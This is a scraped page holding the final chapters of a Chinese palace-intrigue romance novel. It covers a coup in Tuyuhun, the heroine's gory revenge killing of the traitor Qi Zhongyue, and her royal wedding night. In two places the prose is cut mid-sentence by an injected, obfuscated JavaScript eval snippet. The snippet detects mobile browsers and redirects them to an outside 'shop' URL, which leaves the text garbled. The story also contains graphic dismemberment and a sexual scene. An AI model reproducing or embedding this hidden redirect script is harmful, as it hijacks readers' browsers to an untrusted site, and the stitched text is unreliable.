“那是自然,黎朝云想要祁中岳的项上人头,而我与他们合作的条件是,将大同商号的一切都移交给我,且必须杀了拓拔丹。如今大同商号收来的米粮都在我手里,有了这些东西,我们就能与拓跋宏谈判,他若拼着名誉不要都要杀死你我,那就直接造反,若是同意谈判,你我便能占得先机博取许多利益。待暗中杀了吐谷浑王后,你开仓放粮的功绩,足够让百姓臣服于你,届时你便是这吐谷浑新的王。” 拓跋烈不傻,反而比任何人对政治都要敏感,他能从凤起这番话中听出其中的深意。大同商号疯狂收购粮食,令吐谷浑百姓无粮可买,而西边还在与大晋交战,需要源源不断的粮草补给。若是这个节骨眼上米粮断了,不单单百姓会造反,前线也会崩溃! 若是他以此命脉做要挟,定能成功登上大王之位,可是……他该如何巩固?他手中的兵远不及祁中岳和父王手中的。 这一点凤起当然早就料到,他说到:“祁中岳是中原叛臣,自有晋人去收拾,至于摄政王,你倒是不必担忧,我自有办法。”他从枕头底下摸出一块金令,上面雕刻着四照花的图案,上书:花神。 拓跋烈瞬间瞪圆双眼,惊疑不定:“你怎么会有花神军军令!” “这是神月长公主的那块,她当年被大王子和拓拔丹强行送去中原,被黎朝云所救,为表谢意,便将大同商号和花神军军令送给了黎朝云。此番黎朝云前来,便将此令牌给了我。”凤起把玩着手中的令牌,目光直勾勾的盯着拓跋烈:“拓拔将军,这就是我的诚意,你意下如何?” 拓跋烈眯了眯眼,抬手就想要抢军令,但手还没沾到凤起衣角,就被一柄刀架在了脖颈上。 他不可置信的撇向一旁,只见一个黑衣人悄无声息的手持利刃,将他挟持,但他却丝毫没有察觉对方是什么时候来的。 凤起:“这便是长公主培养的死士,花神军向来攻无不克战无不胜,不单单靠着她绝佳的指挥头脑,还有这些行踪鬼魅,能凌云踏虚于万军之中取敌将首级的本事。怎么样?合作吗?” 拓跋烈低低的笑了起来,身体都因越来越放肆的笑而颤动,刀刃因为这股颤动在他的脖颈上划出一道又一道伤口,他却浑然不觉。 他用充满血丝的双瞳注视着凤起,侧隐隐的说到:“合作!当然要合作!我要做吐谷浑的王,享受本就该属于我的无边权利!” 凤起满意的笑了:“那么,凤起便提前恭喜主上了。” * 凤起吞并大同商号的消息很快传了出去,远在凤家的小宗闻言,惊疑不定,还没来得及反应,就被拓跋烈领兵去往王都,凤起命人开仓放粮的消息,砸得头晕眼花。 “他们还说了什么?”拓跋宏问。 被拓跋宏安插在拓跋烈身边的眼线如实回答,在听到黎朝云要杀祁中岳的时候,他明显愣了一下。 “黎朝云要杀祁中岳?”拓跋宏的眸光飘忽,他沉吟片刻便想通了关窍。 淳王在登州闹出的动静很大,连他都有所耳闻,随之一同散播的,还有关于章麓是大同商号老板的言论,但并没有被拓跋宏放在心上。因为他始终认为,这时间的女人都不过是男子的附庸,为男人传宗接代的工具罢了,喜欢了就多玩几日,不喜欢了便随意丢弃。 一个女子,掌管商号?简直可笑。 不过如今,他却不这么认为了,他发现,黎朝云或许就是章麓,而章麓孤身来到吐谷浑,却无一人知晓。她擅动了凤起与她合作,利用凤起撺掇拓跋烈与他抗衡,还杀了他最心爱的小儿子,在他要踏平大同商号之前,就将所有产业作为筹码转送给凤起,让吐谷浑过半百姓都无粮可买,处处发动民乱。 短短十天时间,她坐在鄂五城搅弄风云,却没有一个人能对她构成威胁。 拓跋宏的表情开始肉眼可见的变得愤怒,扭曲,他嚯得站起身,大步行至兵权架,抄起自己的双板斧,大喝道:“集结兵力,既然章麓要利用拓跋烈与我抗衡,我便让她瞧瞧这拓跋烈有没有这个本事与我叫板!” * 拓跋烈与拓跋宏父子反目成仇的消息才传出去没两天,就传来两人要在朋岁城和谈的消息。 吐谷浑内的十大氏族在私底下往来密切,都在猜测这次会谈会是什么结果。 三日后,朋岁城。 天色低沉仿若覆顶之掌,压得人透不过气来。 两军对垒于城外,形势剑拔弩张。路上的行人匆匆,天还未暗便收拾东西急忙回家,以往热闹的街道如今只余几盏微弱的灯笼,悬挂在高高的外梁上,随着西风剧烈的飘荡。 双竹在黄沙的掩护下,跃进一处昏暗的茶楼内,道:“祁中岳已经到城外了。” “有人发现他吗?” “没有。” 章麓将花生米丢进嘴里,咧了咧嘴角:“很好,角儿都到齐了,这戏也该开演了。” 天色刹那间昏暗下来,章麓站在窗边,透过一缕缝隙朝对面的四合院望去。 那里便是拓跋烈与拓跋宏谈判的地方。 原本漆黑寂静的道路上突然亮起数千火把,五千身披甲胄的威武士兵整齐划一的奔至府门前。为首之人举拳令队伍停下,然后抽掉百人破门而入,瞬间将院内局势掌控在自己手中。 拓跋烈从谈判桌上站起来,垂眸看着自己的养父:“父王,你该退位让贤了?” “让贤?说的是你吗?”拓跋宏端着酒盏冷哼一声,单脚踩在桌案上,神色蔑视:“一个被人玩弄在股掌之间的蠢货,还想做上至高无上的王座,简直做梦!” 他将碗中之酒一饮而尽,猛得摔向地面。随着这声脆响,屋外传来一阵阵密集的甲胄之音,屋内门窗尽数被打开,无数弓箭直指拓跋烈。 “父王,该退位了!将兵权交于我,我自会让您晚年富贵无虞。”拓跋烈的声音阴狠,冷得现场官员无一敢动。 可即便被无数箭矢指着,拓跋宏依旧无动于衷,他为自己又倒了一盏酒,一饮而尽,然后不以为意的问道:“你有多少人?五千烈阳军,四万花神军,还有什么?我可有十万狼焱军。” 拓跋烈一听,就知道他在自己身边安插了眼线,四万花神军的动向他未向任何人说过,但父王知晓,他便知道是有人背叛了他。不过,在来之前,凤起特意叮嘱过,不需要与他说太多,直接杀了便是。 于是拓跋烈拔出佩刀直接架在了拓跋宏的脖颈上,再次也是最后一次重复他的话:“父王,交出监国大印,退位让贤!” 哗啦—— 拓跋宏狠狠一脚踹在桌案上,令其直接撞向了拓跋烈的腰腹,在他失去平衡的瞬间,手中的刀被夺脱手,下一息情势急转直下,刀刃反而落在了拓跋烈的脖颈上。 拓跋烈单膝跪地,恶狠狠的盯着自己的父亲:“你若敢动,我便让弓箭手将你射成筛子!” 拓跋宏捋着胡子哈哈大笑一声,像看蝼蚁一样看着自己养了二十多年的儿子:“你知道黎朝云为什么要跟凤起合作吗?我告诉你,因为她要逼祁中岳现身,她要杀了这个中原人的叛徒!那你知道为什么我这么多年来,虽然看不惯他,却一直没有动手杀他吗?因为他有价值,而这份价值助吐谷浑成为西域的王,乃至中原的王!” “你想上位也没关系,吐谷浑不养孬种,弑父杀子的多了去了,谋权篡位的也有不少。在这里,不会有人计较这王位是不是得来的名正言顺,一切都凭实力说话。但是,你不应该偏听一方之言,为了权利就去引起内讧!如今西北战事刚起,需要的军资物资不计其数,你不帮着自家人筹粮,反而只顾着争权夺利,就算你今日赢了,没有粮草,前线一点崩溃,蒋昌伯的军队就能直指王都!到那个时候,你还能做什么王?做谁家的王!” 拓跋烈:“待你交出大印,我自会命人往前线运输粮草,父王,如今前线将士的性命全看你愿不愿意低头!” “哈哈哈哈!蠢货啊蠢货!被人利用都不知道!”拓跋宏笑到:“前线战场差一息战局就会不同。你在这里拖的这两三日,焉知前线早就被蒋昌伯打散了!” 屋外忽然飞来密集箭雨,将拓跋烈的人射杀得七七八八。 与拓拔烈随行的官员都对这场突如其来的变故毫无防备,尽半数都被飞来的箭矢穿胸而过,当场毙命。 拓跋烈被一只箭扎穿肩膀,踉跄着寻找躲避的地方,却没发现在他的身后,一直不躲不避的拓跋宏拔出一支钉在桌案上的箭矢,狠狠的扎进拓跋烈的后勃颈,动作干脆利落,一气呵成。 局势瞬间扭转。 * 在对面看好戏的章麓侧身低着墙壁,看着一支支飞箭在面前飞速划过,波澜不惊。 透过窗户的缝隙,能看见府门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573539|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前宽阔的道路上,躺着无数尸体,在他们的旁边,是穿着褐毛银铠的祁中岳亲军,此刻正在将拓跋烈和拓跋宏的士兵,像丢布袋一样丢在墙角,落得足有一丈高。 “啧,终于来了。”章麓的心中燃烧着一团火,且随着府外越来越多的士兵,越燃越烈。 “唔——”她突然被人从背后环住腰捂住嘴,紧接着便是温柔的唇亲过她脖颈的每一处皮肤。 正要反抗的章麓忽的愣住了,她闻着这熟悉的熏香味道,用手指点了点拦在腰间的手背。 待对方一松手,她猛的发力,欲要将人直接过肩摔出,却被直接按在了墙上。 耳畔传来低哑的笑声:“这么凶做什么?” 章麓咬牙:“谁让你吓我!” 李鹤霖松开手,将人环抱在怀里,低声道:“那还不是你迟迟不来与我汇合,令我夜夜无法安眠,只能小惩大诫一番。” 章麓恶狠狠的踩了李鹤霖一脚。 后者疼得咬牙不敢吭声,委屈道:“你在信里只说一切顺利,却没说危险至此。”他的眸光落在屋内被扎成筛子的柱子:“而我担忧你来看你,你居然还踩我!” 闻言,章麓有些心虚,她目光游移了几分,不走心的说到:“对不起。”她的目光落在了李鹤霖的身上,只见他身穿一袭乌黑铠甲,上面的甲片如同鱼鳞一般细小而密集,看着薄如蝉翼,实则重达十公斤。描金长枪被截断成了三节,稳稳当当的背在背后。 章麓忽然抱住李鹤霖,将温热的脸埋在他冰冷的铠甲上,低低的说到:“我真的好想你。” * 祁中岳步入院中,看着一地的尸体面无表情。 他站在离拓跋宏十步外的地方,看着对方的亲卫将所有可能靠近拓跋宏的路堵得水泄不通,忽而笑了起来:“真是贪生怕死。” 拓跋宏对他的挑衅没有丝毫反应,只淡淡的回应道:“活下来的人才是胜者,才有资格撰写历史。” “说得对。”祁中岳转了转手中的尖刀:“不过,这个胜利者只能是我。” “那可未必。” 祁中岳轻啧一声,道:“拓跋宏,这些年我没少帮扶你吧?” “那又如何?你始终是外来人,对吐谷浑没有归属感。你只是将这里当做能够享受荣华富贵的工具,而没有将它真正当做家园来看待!”拓跋烈抽出手中的刀,直指祁中岳的眉心:“你当我不知道你在大昆仑建了一座工坊,你将从中原带来的重要东西都放在哪儿,却将无足轻重的玩意儿献给了王兄。是,吐谷浑是落后,哪怕是那些无足轻重的东西,都能为吐谷浑带来翻天覆地的变化。” “然而,真正对吐谷浑有用的根本不是这些,是奉州伯的炼铁术!是麦种的改良,是更为成熟的灌溉!可这些你一样都没有交给王兄,全都藏在大昆仑!你凭着那些东西与吐蕃做生意,源源不断的赚着客观的银子,将那些银子藏在岷山,不就是等着将来又一日,好掀翻王兄的王位,自立为王!你从始至终都将我们当成棋子、傻子!若不是为了淮南王送来的盐铁米粮,我早就杀了你了!” 祁中岳表情一变,眼中流露出明显的杀意:“你怎么知道的?” 拓跋宏嘁了一声,不屑道:“你真当我是个只好吃喝玩乐的闲散人?反正你也死到临头了,不妨告诉你,你藏起来的那笔银子已经被我给挖走了。” “你说什么?”祁中岳瞪圆双目,露出不可置信的表情。 拓跋宏哈哈大笑两声,狂妄道:“你终究只是个外来人,就算为吐谷浑做再多的事,百姓也只认得拓拔这个姓氏,而不是你祁中岳!放箭——” 随着这一声,无数箭矢从不远处的屋顶飞向祁中岳。 祁中岳身边的亲卫立刻竖起盾牌,抵挡飞来的箭矢,祁中岳透过盾牌的缝隙死死盯着拓跋宏的一举一动。在附近屋顶的弓箭手被抹杀后,对方眼见不对准备逃跑,他一把推开面前的盾兵,反手就是一枪直戳入拓跋宏的后背。 鲜血瞬间飚出,拓跋宏不可置信的捂着胸口,握着扎穿胸口的银色枪头。 祁中岳:“这些年的酒色终究还是掏空了身体,论反应和武艺你早已不是我的对手。我给了你那么多,如今也是该你回报我的时候了。” 他走过去,从拓跋宏身上摸出一块巴掌大的银色令牌,上面刻着‘梵音’二字,嗤笑一声:“果然,原本我还只是猜测,没想到吐谷浑最大的梵音楼竟真是你的产业。不过今后,它便是我的了。哎,当初你让人去岷山,我就猜到你发现了什么,便故意露出破绽诱你上当,没想到你居然真的一点都没怀疑。啧啧,就你这种人还想跟我抗衡,简直没有自知之明。” 他站起身,朝身后招了招手,道:“把这里烧干净,别留一点痕迹。” 突然间,一阵轰隆声响起,围墙瞬间坍塌,墙后露出捂着鼻子一脸嫌弃的章麓和神色淡定的李鹤霖。 祁中岳警惕后退,但在看见对方撞塌墙体的巨大铁器时,瞳孔皱缩。他忍不住后退两步,惊疑不定的看着为首的两人:“你们是谁?” 章麓放下捂着口鼻的手,于烟尘中笑眯眯的看着祁中岳:“祁伯伯,好久不见。” 祁中岳眯起眼,待看清章麓的脸时霎时如临大敌,怒吼道:“杀了他们!” 李鹤霖这次是带着花神军来的,他拉着章麓退后数步,任由吐谷浑内部两兵交接,只将目光紧紧落在祁中岳的身上,以防他逃跑。 祁中岳的脸色颇为难看,他没想到章麓竟调得动花神军!他后退数步,提起手中的银枪转身便跑。 这些兵卒无法抵挡身经百战的老将,一连被斩杀数十人,眼看他即将冲出包围圈,章麓捡起一柄长刀便朝他投掷过去,速度之快宛若雷霆,以无可抵挡的力量直冲祁中岳面门。 后者下意识打开飞来的长刀,但依旧被其锐不可当之势割破了手臂,瞬间血流如注。 章麓踏步上前,趁对方还没回过神,一脚将人踹飞,拔出腰间的短刀,直接削断了祁中岳的手臂! 鲜血飞溅到她的面颊上,暴戾恣睢:“当年我兄长所受之苦,今日我要尽数报应在你的身上!” 她手持短刀,白衣染血。月光的清冷令冬日的大地发着抖,却及不上她心中的苦寒半分。 她的身后是尸山血海,是震天厮杀,是血聚成河。 她的面前是家国仇恨,是窒息血腥,是回荡在胸口久久不散的悲愤与哀鸣。 被砍断双臂的祁中岳已无力抵抗,他虚弱的瘫软在地上,狼狈的爬行着,宛若一只蛆虫,渴血却也畏惧强大。 “这柄刀是我兄长的,当年你如何让回纥人践踏北宁关的百姓,今日我便要要用这柄刀,让你也尝尝那苦楚!” 她低沉而坚定的声音,犹如佛前的定音,在祁中岳的耳畔久久回荡。 当被砍断双腿的时候,祁中岳已经痛到麻木,他被章麓强迫着清醒,一遍又一遍的感受着温热从身体中流逝而出,但他已经做不出任何反应。 阴风猎猎,卷起漫漫黄沙,当年被烧焦的战旗重新摇曳在了无序的狂风当中。 短刀没入胸膛,战旗/插/入/脊梁,被挂在城楼上的人彘早已没了生息。他随风摇晃着,摇晃着,不似那面写着‘锋’的战旗,猎猎作响,坚硬脊梁。 133. [锁] [此章节已锁] 祁中岳只是为了螳螂捕蝉黄雀在后,所以并没有将所有兵马都带回来,前线依旧有拓拔家的人在率兵与蒋昌伯在西平战场上。 李鹤霖原本打算与章麓一同前往西平,但在抵达河关的时候,收到了朝廷的金令,陛下病危。 两人甩掉大部队,只带着亲信一路长途奔袭,终于在三日后从河关赶到了长安。 新旧年交替之际,泰安帝再因余毒难消,再犯咳疾病,几度吐血昏厥,太医院一片混乱,前朝议论纷纷。 泰安二年元月十日,在官员联名上书的第三日,泰安帝终下旨册封淳王李鹤霖为太子,章麓为太子正妃。 册封当夜,泰安帝召太子妃进宫。 钦天监的观星台上,泰安帝身披大氅坐在暖塌上,遥望天际:“你可知天狼星在哪儿?” 章麓抬手指了个方向。 “它很闪耀是不是?比紫薇星都要亮。” 章麓眼皮跳了跳,没有接话。 泰安帝掩藏在大氅下的手,将佛珠拨弄了一圈又一圈,直到月上天穹,灯烛过半。 “如果,朕要拆分北境兵力,将你父兄召回长安,你觉得如何?” “若是陛下觉得可行,儿臣便没有异议。” 泰安帝笑了笑:“你难道不怕朕害了他们?” 章麓垂眸:“陛下要为太子铺路,自是要灭绝一切有可能牵制他的势力,贤王一脉也好,虞庆侯一脉也罢,终究不可强得能左右未来帝王的想法。” “但朕还要别的方法,可以解决这个问题,未必一定要拆分虞庆侯的权势。毕竟虞庆侯得罪了很多人,若是他无职无权的回到长安,将来必定会面临无数麻烦。” 章麓抬眼看向泰安帝:“陛下是要给太子纳妾?” 泰安帝:“男子三妻四妾是常事,更何况皇室之人,为了国家百姓,为了平衡朝堂,许多事都身不由己,总要有所牺牲。” “陛下可以给太子纳妾,但在此之前,请先下旨允我和离。” 泰安帝眯起了双眼:“你在威胁朕?” “陛下曾允诺皇后一生一世一双人,最后却为了所谓的平衡违背了承诺,这便是您的身不由己,但您却没有任何牺牲与损失,皇后才被您牺牲的那个!一位女子欣喜的守着您的承诺,带着孩子于战火中东躲西藏,最后见到自己的丈夫后,却发现他身边已有其他女子想陪,还诞下麟儿,那一刻,她必然是心如死灰的吧……” 泰安帝沉默了半晌,道:“你说的对。” 章麓看向泰安帝:“父皇今日召儿臣来,并不是想说这些吧?” 泰安帝叹了一声:“西北捷报传来,蒋昌伯击退了吐谷浑,吐谷浑大皇子身死,如今崔青卓已经携子认祖归宗了。” “这是好事。” “可对章氏却不是,谁都知道蒋昌伯是你父亲的师兄,两个人自小一起长大,如今虞庆四大将分立于西北、东北、东南三处,不少人都跟朕提议,要削权。” “父皇要削吗?” “要削,但需要一个名正言顺的理由。” 章麓沉默了半晌,道:“儿臣明白了,这个恶人就由儿臣来做吧。” 于是,观星台外侍候的宫人,都听见章麓于泰安帝发生了剧烈的争吵。 “放肆!你信不信朕直接下旨休了你!” “陛下自然有这个权利,但我希望陛下在下旨前,问问太子他还愿不愿意做这个皇帝。” “没有人不愿意做皇帝!” “我爹就不愿意!”章麓的声音响彻整个钦天监的观星台:“如果我爹当初愿意坐上九五之尊的位置,他早在你之前就反了,今日与我在此的人便不会姓李,而姓章。” 泰安帝目眦尽裂,气的浑身发抖:“你们要造反!朕要诛你们九族!” “陛下说是便是,但我章氏一族自发迹起,所做的每一件事皆问心无愧!” “好好好!好一个问心无愧!”泰安帝冷笑连连:“既你觉得问心无愧,便跪在这观星台上,朕倒要看看,满朝文武谁会为了你们章氏一族请愿!” 说罢,甩袖离去。钦天监的官员们面面相觑,一时间不知道该如何是好。 太子妃册封当夜被罚跪观星台的消息传遍了京城,所有人都在好奇太子妃到底怎么得罪了陛下,让他发了这么大一通火。 第二日清晨,虞庆侯夫人身着诰命服敲登闻鼓,却被拒之门外,当场跪在了朱雀门外。 明德殿内,泰安帝面色不虞的盯着跪在御桌前的李鹤霖:“你以为我在为难她?” 李鹤霖垂眸:“儿臣不敢。” “哼,你敢得很!”泰安帝没心思再批奏折了,撂下笔道:“你放心,人好着呢,你若是不信,就自己去观星台陪她几日吧。” 于是,泰安帝再次吐血昏迷,太子李鹤霖被送去罚跪观星台。 朝堂再起波澜。 原本支持八皇子和十皇子的人再次冒了头,拉帮结派之势愈演愈烈。 泰安帝坐在凤栖宫,悠哉悠哉的吃花生米。 皇后无奈的看着她:“何苦要唱这出?” 泰安帝道:“有些人不安分,总想着从龙之功,朕活不了多久了,不能将一个内忧外患的国家交给他,更何况,他想一生一世一双人,未来的路只会更加难走。” 就在前朝夺嫡之争愈演愈烈的时候,那些蹦跶的最欢的几个朝臣,被泰安帝随便找了个罪名抄家流放,自此,朝堂彻底安定下来。 而章麓扶着腰一瘸一拐的从观星台下来时,众人皆以为她是跪的,对她颇为同情。只李鹤霖知道是自己的不知节制惹恼了娘子,最后还被锁在了正院外,连门都没能踏进去。 * 在泰安帝人生最后的时日里,他召了李鹤霖和章麓入宫。他在皇后的搀扶下站在朝德殿内,背后是李氏列祖列宗的牌位。 “儿啊,在父亲死前,让这场昏礼圆满吧。” 李鹤霖完全没想到向来严肃的父皇,会在人生的暮年突然提出这个要求。昏礼早就举行过,只是缺了拜堂一项罢了。 他完全不知道自己是怎么回到淳王府的,他感觉自己的脚步都在飘,直到章麓将换洗的衣服丢在他脸上,才勉强回过神来。 “这是宫里送来的婚服,等会儿会有麒麟车来接我们入宫。这一次,我们是真的要拜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573739|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂了。” 火红的烛光映亮了凤仪宫,两人在泰安帝和皇后的瞩目下拜堂成亲。 待换好衣服行至前堂,已然接近黄昏,他看到手持却扇一袭火红凤冠霞帔的章麓时,突然就觉得此生圆满。 “百年恩爱双心结,千里姻缘一线牵。” 他的嘴角不自觉的往上翘,在礼官的唱礼中接过了红绸的另一头。 两人牵着,跨过马鞍。 “福禄平安。” 四对红色锦扇由宫女执掌两两相交,新人每跨过一对绣着吉祥图案的绸垫,便有一对锦扇被打开,侧旁的女官便会撒下花生、莲子、桂圆、红枣。 “和和美美,宜室宜家。” “月圆人圆,岁岁平安。” “拦灾趋吉,四季如意。” “开枝散叶,子孙满堂。” 高堂上,火红的龙凤烛燃起绚烂的火焰,皇帝与皇后端坐于主位,虞庆侯夫人坐在皇后身侧。 “两仪既定,新人交拜!” “一拜天地同庆,二拜高堂同欢,三拜内外同德,四拜伉俪同心!” “交拜礼成,众宾来贺!” “良缘夙缔,佳偶天成!”因着办得匆忙,来的都是亲朋好友,其中就属挺着大肚子的章引玉声音最大最嘹亮。 “夫妻对拜,送入洞房!” 两人在司仪的唱和声中被送入了东宫。接下来便是揭盖头,喝合卺酒。 之前没有完成的流程,在这一刻补足圆满。 火红的龙凤烛噼里啪啦的燃烧着,两人端起由红绳系在一起的合卺酒一饮而尽。 因着此番没有喜筵,李鹤霖并不需要出去应酬,而是呆在喜房中,专心致志的为章麓摘掉头上的凤冠,为她洗净面上的粉黛,最后心若擂鼓的脱去了她的外衫。 现在,人就在眼前,在他们的婚床上,借着昏暗的烛光,暧昧又放浪。 单薄的中衣难掩丘壑,层叠的纱帐虚遮乾坤。 李鹤霖的双手撑在床面上,低头看着被自己亲出一块块斑驳,口干舌燥的问道:“你平日里安睡,穿得没这么薄吧?” 章麓有些紧张的翻了个白眼,羞愤道:“宫里送来的衣服,我只能穿这个啊!怎么?不好看啊?” “好看……”李鹤霖的喉结上翻下涌,不住的滚动着,手渐渐放在了那雪白的峦峰之上,有些颤抖的说到:“我有点紧张。” “你紧张个鬼啊!”章麓有些受不了他的磨磨蹭蹭,平白填了不少灭不掉的火,心中一恼,直接一个用力将人掀翻,然后用力的吻了下去。 半梦半醒,昏昏沉沉,迷乱又渴望,窒息又紧张。 蹁跹彩蝶双飞舞,交颈龙凤皆呈祥。 “别动。”李鹤霖呼吸粗重,灼热的气息喷洒在章麓的胸口。 “不行。”章麓的声音在颤抖:“我坚持不住了!” “我来。”章麓的身体瞬间被束缚进一个强有力的怀抱中,在她还为及尖叫时便淹没在了一个满是情意的吻中。 所有的火热都在这一刻爆发出来,带着灵魂与血肉腾空,于天际,于云端,于梦。 全文完。